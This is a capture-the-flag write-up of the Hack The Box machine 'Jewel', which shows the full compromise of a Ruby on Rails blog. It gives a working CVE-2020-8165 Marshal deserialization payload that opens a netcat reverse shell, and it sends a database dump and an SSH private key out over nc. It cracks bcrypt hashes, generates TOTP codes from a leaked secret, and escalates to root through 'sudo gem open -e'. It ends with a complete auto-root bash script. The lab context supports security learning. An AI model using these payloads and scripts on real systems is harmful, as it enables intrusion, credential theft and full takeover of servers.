Hack The Box - Jewel Writeup

Published on 2021-02-14 by molzy

Jewel is a Medium-tier vulnerable Linux virtual machine, created by polarbearer.

The goal of my participation in Hack The Box is to learn which tools are used for analysis and exploitation of a variety of protocols, and how to use them efficiently. A side goal is to be exposed to unfamiliar software.


Summary

Name Jewel
Creator polarbearer
IP Address 10.10.10.211
OS Linux
Release Date 2020-10-10
Retirement Date 2021-02-13
Difficulty Medium (30 points)

Hack The Box - Jewel - Logo

Firstly, we discover an open-source blog, built with Ruby on Rails. Next, we discover an exploit in a dependency, and proceed to dive head-first into a user shell. Finally, we find a crackable hash, and combine the found password with a TOTP second factor, in order to gain root access.


Luxury Rail Transit

Running nmap

Firstly, we add the machine jewel.htb to /etc/hosts, and run nmap. The output from a service-based portscan reveals two services of interest.

attacking host
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-xx xx:xx AEDT
Nmap scan report for jewel.htb (10.10.10.211)
Host is up (0.019s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
|   256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_  256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp open  http    Apache httpd 2.4.38
|_http-generator: gitweb/2.20.1 git/2.20.1
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.38 (Debian)
| http-title: jewel.htb Git
|_Requested resource was http://jewel.htb:8000/gitweb/
8080/tcp open  http    nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
|_http-title: BL0G!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.11 seconds

It appears that there is a BLOG! service on port 8080, with source code available at port 8000. Since source code is marginally more useful as a starting point than browsing a blog, I am going to start there.

It is a Ruby-on-Rails application, which I have had limited experience with so far. Onward!

Reading The Source

There is a database dump included, with a user table:

bd.sql
--
-- Data for Name: users; Type: TABLE DATA; Schema: public; Owner: rails_dev
--

COPY public.users (id, username, email, created_at, updated_at, password_digest) FROM stdin;
1       bill    bill@mail.htb   2020-08-25 08:13:58.662464      2020-08-25 08:13:58.662464      $2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW
2       jennifer        jennifer@mail.htb       2020-08-25 08:54:42.8483        2020-08-25 08:54:42.8483        $2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy
\.

The passwords are not easily cracked by rockyou.txt; I gave up after a short runtime.

attacking host
> /usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt users
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:xx 0.00% (ETA: 2020-11-xx xx:xx) 0g/s 5.724p/s 11.48c/s 11.48C/s disney..54321
0g 0:00:04:xx 0.01% (ETA: 2020-12-xx xx:xx) 0g/s 5.478p/s 10.96c/s 10.96C/s honey1..thomas1
--[[snip]]--
Session aborted

The gitweb interface does not provide a simple cloning URL in the manner of github and its ilk; however, there is an easily constructible snapshot URL which I found a reference to on StackOverflow.

Editor's Note: There is also a snapshot link right there on the tree page, which I missed entirely!

attacking host
> wget "http://jewel.htb:8000/gitweb/?p=.git;a=snapshot;h=HEAD" -O blog.tar.gz
> tar xf blog.tar.gz
> mv .git-HEAD-5d6f436 blog-repo
> cd blog-repo

An interesting snippet is found within one of the application's controllers.

app/controllers/application_controller.rb
class ApplicationController < ActionController::Base
--[[snip]]--
  def current_username
    if session[:user_id]
      cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0")
      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do
--[[snip]]--

That looks like a Redis caching service on another port; I am unsure whether we will be exploiting that service through this blog, so we'll make a note of it and continue.

Searching for CVEs

It's time to look for some RoR exploits!

attacking host
> searchsploit Rails
--[[snip]]--

None of the exploits cached on my host were recent enough to affect this version of Rails (5.2.2.1).

Additionally, the rails version is not vulnerable to the DoubleTap RCE. I spent a short while attempting to exploit this with no success, as the version 5.2.2 is vulnerable, and I was unsure whether the fix made it into 5.2.2.1.


Dependency Scanning

Automation Rocks

A quick search for methods of scanning Ruby projects for vulnerable libraries brings up the bundler-audit tool, which scans the Gemfile.

attacking host -
> sudo gem install bundler-audit
> bundle-audit update
> bundle-audit
--[[snip]]--
Name: activesupport
Version: 5.2.2.1
Advisory: CVE-2020-8165
Criticality: Unknown
URL: https://groups.google.com/forum/#!topic/rubyonrails-security/bv6fW4S0Y1c
Title: Potentially unintended unmarshalling of user-provided objects in MemCacheStore and RedisCacheStore
Solution: upgrade to ~> 5.2.4.3, >= 6.0.3.1
--[[snip]]--

There were many other XSS and similar vulnerabilities, but CVE-2020-8165 stood out, as I had seen the RedisCacheStore used on user_id values in the above code snippets.

attacking host
> bundle install --path vendor/bundle
Fetching gem metadata from https://rubygems.org/............
Fetching rake 12.3.2
Installing rake 12.3.2
--[[snip]]--
Bundle complete! 18 Gemfile dependencies, 79 gems now installed.
Bundled gems are installed into `./vendor/bundle`

After resolving some dependency hell with selective upgrades, I managed to get a working console in order to attempt the exploit.

Note that there is a minor typo in the PoC README; a missing = character when assigning a value to the payload variable.

attacking host - bundle exec rails console
irb(main):001:0> code = '`nc 10.10.14.6 4444 -e /bin/bash`'
irb(main):002:0> erb = ERB.allocate
irb(main):003:0> erb.instance_variable_set :@src, code
irb(main):004:0> erb.instance_variable_set :@filename, "1"
irb(main):005:0> erb.instance_variable_set :@lineno, 1
irb(main):006:0> payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
irb(main):007:0> require 'uri'
irb(main):008:0> puts URI.encode_www_form(user: payload)

The output of the above is a lengthy string, which I have broken into multiple lines below, and stored in a bash variable called payload:

attacking host
> payload="%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3A\
DeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40\
srcI%22%26%60nc+10.10.14.6+4444+-e+%2Fbin%2Fbash%60%06%3A%06ET%3A%0E%40\
filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult\
%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1F\
ActiveSupport%3A%3ADeprecation%00%06%3B%09T"

This should provide a reverse shell when we inject it. After browsing through the code, it appears that the username update sequence is the best place to inject. Onto the browser!

Attack Sequence

We first sign up for an account, username test, email test@test.test, password hunter2.

Once we know our user_id, in this case 18, we can navigate to the username change page at http://jewel.htb:8080/users/18/edit.

We submit a request to change the username, log the request in the browser Developer Tools, select the request, and Copy as cURL.

After this, we navigate back to the page, and acquire a new authenticity_token.

Finally, we paste the curl command into a terminal, and modify the request by updating the authenticity_token:

attacking host
> authtk="ClEcWGMkX0163ZnIe18cOzTLnZ1L1yPLiNR27Z+\
brNOZT2AgVUSPD/y+P3PrN5O5SlyGi243jk+qbjPUTkPgiA=="
> curl 'http://jewel.htb:8080/users/18' \
  -H 'Accept: text/html,*/*;q=0.8' \
  -H 'Referer: http://jewel.htb:8080/users/18' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -H 'Origin: http://jewel.htb:8080' \
  -H 'Connection: keep-alive' \
  -H 'Cookie: _session_id=9a365b56975e8956786077fbd236e4af' \
  -H 'Upgrade-Insecure-Requests: 1' \
  --data 'utf8=%E2%9C%93&_method=patch' \
  --data-urlencode "authenticity_token=${authtk}" \
  --data "user%5Busername%5D=${payload}" \
  --data 'commit=Update+User'

This responds with a 500 Internal server error, which is to be expected. Upon setting up a reverse shell, and reloading the "change username" page in the browser...

attacking host - nc -lvp 4444
> nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.6] from jewel.htb [10.10.10.211] 53044
whoami && id && pwd
bill
uid=1000(bill) gid=1000(bill) groups=1000(bill)
/home/bill/blog
python3 -c 'import pty; pty.spawn("/bin/bash")'
bill@jewel:~/blog$ ls
app
bd.sql
--[[snip]]--
bill@jewel:~/blog$ cat /home/bill/user.txt
b084da...

That's great! We have made it to user.txt, and have access to an upgraded reverse shell.

This exploit works by storing a malicious Ruby object in the Redis cache, which executes some code when loaded from the cache later. As the username is now a poisoned object in the cache, any page that includes the username (which is most pages when logged in) triggers a reverse shell connection to the attacking host.


Searching for Auth

On TOTP Of The World

A quick look at the /home/bill directory reveals something that I happen to know about...

bill@jewel.htb
bill@jewel:~$ ls -al /home/bill
total 52
drwxr-xr-x  6 bill bill 4096 Sep 17 14:10 .
drwxr-xr-x  3 root root 4096 Aug 26 09:32 ..
lrwxrwxrwx  1 bill bill    9 Aug 27 11:26 .bash_history -> /dev/null
-rw-r--r--  1 bill bill  220 Aug 26 09:32 .bash_logout
-rw-r--r--  1 bill bill 3526 Aug 26 09:32 .bashrc
drwxr-xr-x 15 bill bill 4096 Sep 17 17:16 blog
drwxr-xr-x  3 bill bill 4096 Aug 26 10:33 .gem
-rw-r--r--  1 bill bill   43 Aug 27 10:53 .gitconfig
drwx------  3 bill bill 4096 Aug 27 05:58 .gnupg
-r--------  1 bill bill   56 Aug 28 07:00 .google_authenticator
drwxr-xr-x  3 bill bill 4096 Aug 27 10:54 .local
-rw-r--r--  1 bill bill  807 Aug 26 09:32 .profile
lrwxrwxrwx  1 bill bill    9 Aug 27 11:26 .rediscli_history -> /dev/null
-r--------  1 bill bill   33 Oct 23 15:00 user.txt
-rw-r--r--  1 bill bill  116 Aug 26 10:43 .yarnrc

I use the Google Authenticator PAM Module on my own servers to enable Time-Based Two Factor Authentication, so the .google_authenticator file stood out to me immediately.

bill@jewel.htb
bill@jewel:~$ cat /home/bill/.google_authenticator
2UQI3R52WFCLE6JTLDCSJYMJH4
" WINDOW_SIZE 17
" TOTP_AUTH

According to the pam configuration files, we'll need to have a TOTP response in order to authenticate with sudo.

bill@jewel.htb
bill@jewel:/etc/pam.d$ cat sudo
#%PAM-1.0

@include common-auth
@include common-account
@include common-session-noninteractive
auth    required        pam_google_authenticator.so nullok

This is in addition to the required password.

Providing Motivation

As an aside, the box author has configured my favourite sudo feature: insults!

bill@jewel.htb
bill@jewel:/etc/pam.d$ sudo su
[sudo] password for bill: password
You empty-headed animal food trough wiper!
[sudo] password for bill: hunter2
Hold it up to the light --- not a brain in sight!
[sudo] password for bill: iloveyou
sudo: 3 incorrect password attempts
bill@jewel:/etc/pam.d$ sudo su
[sudo] password for bill: 123456
Do you think like you type?
--[[snip]]--

I am affronted, and all the more motivated to gain root access to this box, in order to disable these vile jabs at my highly wrinkled brain.


Rabbit Holes

Creds in the Blog?

Let's see if we can transfer some files over which may hold credentials.

bill@jewel.htb
bill@jewel:~/blog$ cat bd.sql | nc 10.10.14.6 3333
attacking host
> nc -lvp 3333 > bd.sql
listening on [any] 3333 ...
connect to [10.10.14.6] from jewel.htb [10.10.10.211] 49716
^C
> diff bd.sql blog-repo/bd.sql
>

It's the same file as in the git repository.

SSH Keypair

attacking host
> ssh bill@10.10.10.211
bill@10.10.10.211: Permission denied (publickey).

Alright; let's generate a keypair in thet case.

bill@jewel.htb
bill@jewel:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/bill/.ssh/id_rsa):

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /home/bill/.ssh/id_rsa.
Your public key has been saved in /home/bill/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:TRa+hdUssWmkar1ww4QJGs4ULOACrNArajXFzvdwnpI bill@jewel.htb
The key's randomart image is:
+---[RSA 2048]----+
|+o .=..   . ++   |
|+.o+.= . + *.oo  |
|+. oB   o B =.   |
|+ .o o o X +     |
|... . . S O      |
|..     E * o     |
|.       . .      |
|                 |
|                 |
+----[SHA256]-----+
bill@jewel:~$ cat .ssh/id_rsa | nc 10.10.14.6 3333

We exfiltrate the new private key over nc. Note that this is plaintext, and very obvious exfiltration in a real-life scenario.

Attempting to connect with ssh, we find that bill appears to be disallowed from authenticating over SSH altogether.


Hash Cracking

Finding a Backup

Running some scans over the filesystem, we pick up a readable database backup file thanks to lse.sh!

bill@jewel.htb
-rw-r--r-- 1 root root 7828 Aug 27 10:19 /var/backups/dump_2020-08-27.sql

This file contains different hashes to the active database:

jewel.htb - /var/backups/dump_2020-08-27.sql
--[[snip]]--
COPY public.users (id, username, email, created_at, updated_at, password_digest) FROM stdin;
2   jennifer    jennifer@mail.htb   2020-08-27 05:44:28.551735  2020-08-27 05:44:28.551735  $2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
1   bill    bill@mail.htb   2020-08-26 10:24:03.878232  2020-08-27 09:18:11.636483  $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
\.
--[[snip]]--

After attempting to crack these, we determine that the password spongebob is involved. This turns out to be the correct password for the user bill!

attacking host
> /usr/sbin/john --wordlist=/usr/share/wordlists/rockyou.txt bill.pw
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 4096 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
spongebob        (?)
1g 0:00:xx:58 DONE (2020-10-xx xx:xx) 0.000173g/s 0.01614p/s 0.01614c/s 0.01614C/s spongebob..junior
Use the "--show" option to display all of the cracked passwords reliably
Session completed

As an aside, this took over 30 minutes on my virtual machine. A temporary power management issue with my host CPU may have been the cause - however, cracking bcrypt hashes is intensive regardless.

Escalating With sudo

We'll also need a valid totp code for bill. There is a generator tool available in the debian repository, oathtool. Just to be sure, I take the date from the remote host first:

bill@jewel.htb
bill@jewel:~$ date -R
Fri, 23 Oct 2020 16:21:20 +0100

And specify this as an argument to oathtool.

attacking host
> sudo apt install oathtool gnupg2
--[[snip]]--
> oathtool -b --totp 2UQI3R52WFCLE6JTLDCSJYMJH4 -N "Fri, 23 Oct 2020 16:21:20 +0100"
495620

Within 30 seconds of this sequence, I attempt to list the capabilities of bill.

bill@jewel.htb
bill@jewel:~$ sudo -l
sudo -l
[sudo] password for bill: spongebob

Verification code: 495620

Matching Defaults entries for bill on jewel:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    insults

User bill may run the following commands on jewel:
    (ALL : ALL) /usr/bin/gem

That looks like the way up!

Is Ruby Insecure?

We can use a GTFOBins entry in order to escalate to root through our sudo access to the gem tool.

bill@jewel.htb
bill@jewel:~$ sudo gem open -e "/bin/sh -c /bin/sh" rdoc
# id && hostname && wc -c /root/root.txt
uid=0(root) gid=0(root) groups=0(root)
jewel.htb
33 /root/root.txt
# cat /root/root.txt
dc8d8e7...

Success!

Ruby itself isn't insecure, but allowing anyone to run a package manager as root sure is - especially if their password is spongebob.


After Root

Vile Knave!

It's time to fix this profanity issue.

root@jewel.htb
# sed -ie 's/Defaults.*insults$//' /etc/sudoers

All sorted! How dare anyone accuse me of anything just because I'm typing in random garbage for passwords.

(incidentally, I have this module enabled on all of my single-user servers - brings a bit of life to something as mundane as mistyping a password)

Auto-Root Script

Of course, I created a script to automate the full process.

root.sh
#!/usr/bin/env bash

# TOTP Secret & Password
totp="2UQI3R52WFCLE6JTLDCSJYMJH4"
billp="spongebob"

# Random username
usern=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)

# Get signup cookie & auth token
cookie=$(curl -sv "http://10.10.10.211:8080/signup" 2>&1 | grep -oP "_session_id=.*(?=; path)")
signup_token=$(curl -s "http://10.10.10.211:8080/signup" \
                    -H "Cookie: ${cookie}" | grep -oP '"authenticity_token" value\="\K.*(?=" \/>)')

# Sign up
curl -s "http://10.10.10.211:8080/users" \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -H "Cookie: ${cookie}" \
     --data-urlencode "authenticity_token=${signup_token}" \
     --data "utf8=%E2%9C%93&commit=Create+User" \
     --data "user%5Busername%5D=${usern}" \
     --data-urlencode "user[email]=${usern}@jewel.htb" \
     --data-urlencode "user[password]=${usern}@jewel.htb" > /dev/null

# Get login auth token
login_token=$(curl -s "http://10.10.10.211:8080/login" \
                   -H "Cookie: ${cookie}" | grep -oP '"authenticity_token" value\="\K.*(?=" \/>)')

# Log in
curl -s "http://10.10.10.211:8080/login" \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -H "Cookie: ${cookie}" \
     --data-urlencode "authenticity_token=${login_token}" \
     --data "utf8=%E2%9C%93&commit=Log+In" \
     --data-urlencode "session[email]=${usern}@jewel.htb" \
     --data-urlencode "session[password]=${usern}@jewel.htb" > /dev/null

# Get user's ID and a change token
userid=$(curl -s http://10.10.10.211:8080/ -H "Cookie: ${cookie}" | grep -o "/users/\w*")

echo $usern - $userid

change_token=$(curl -s "http://10.10.10.211:8080/${userid}/edit" \
                    -H "Cookie: ${cookie}" | grep -oP '"authenticity_token" value\="\K.*(?=" \/>)')

# create payload with correct ip address
ipadd=$(ip addr | grep -o "10.10.14.[^/]*")
# calculate length byte for command string in payload
iplen=$(echo "$ipadd" | wc -c)
iplenhex=$(printf '%%%x' $((iplen+0x1b)))

# command for generating payload (with Rails present in local directory)
#echo "code = '\`nc $(ip addr | grep -o "10.10.14.[^/]*") 4444 -e /bin/bash\`'
#erb = ERB.allocate
#erb.instance_variable_set :@src, code
#erb.instance_variable_set :@filename, '1'
#erb.instance_variable_set :@lineno, 1
#payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
#require 'uri'
#puts URI.encode_www_form(user: payload)
#" | bundle exec rails console 2>&1 | grep -oP 'user=\K.*$'

# fixed payload string (tested on Rails 5.2.2.1)
payload="%04%08o%3A%40ActiveSupport%3A%3ADeprecation\
%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo\
%3A%08ERB%08%3A%09%40srcI%22${iplenhex}%60nc+${ipadd}+4444+-e+%2Fbin%2Fbash\
%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi\
%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B\
%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T"

# change username
curl -s "http://10.10.10.211:8080/${userid}" \
     -H 'Content-Type: application/x-www-form-urlencoded' \
     -H "Cookie: ${cookie}" \
     --data-urlencode "authenticity_token=${change_token}" \
     --data "utf8=%E2%9C%93&commit=Update+User" \
     --data "user%5Busername%5D=${payload}" \
     --data-urlencode "_method=patch" > /dev/null

# set up reverse shell...
# id && hostname && wc -c /root/root.txt
echo "If the local date below is not within ~1 minute of the remote date, the script may not work!"
echo "-----"
printf 'Local Date: ' && date -R
echo "-----"
echo "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'
echo 'Shell gained as user bill!'
printf 'Remote Date: ' && date -R
sudo gem open -e '/bin/sh -c /bin/bash' rdoc
${billp}
$(oathtool -b --totp ${totp})
cd /root
echo Wait for the following connection...
nc $ipadd 3333 -e /bin/bash
" | nc -i 1 -lvp 4444 2>&1 | grep --line-buffered '^Shell\|^Remote\|^Wait' &disown

# load that page again...
curl -s "http://10.10.10.211:8080/${userid}/edit" -H "Cookie: ${cookie}" > /dev/null 2>&1 &disown

# root reverse shell
nc -lvp 3333

Thanks to the box creator for an entertaining excuse to read some Ruby code!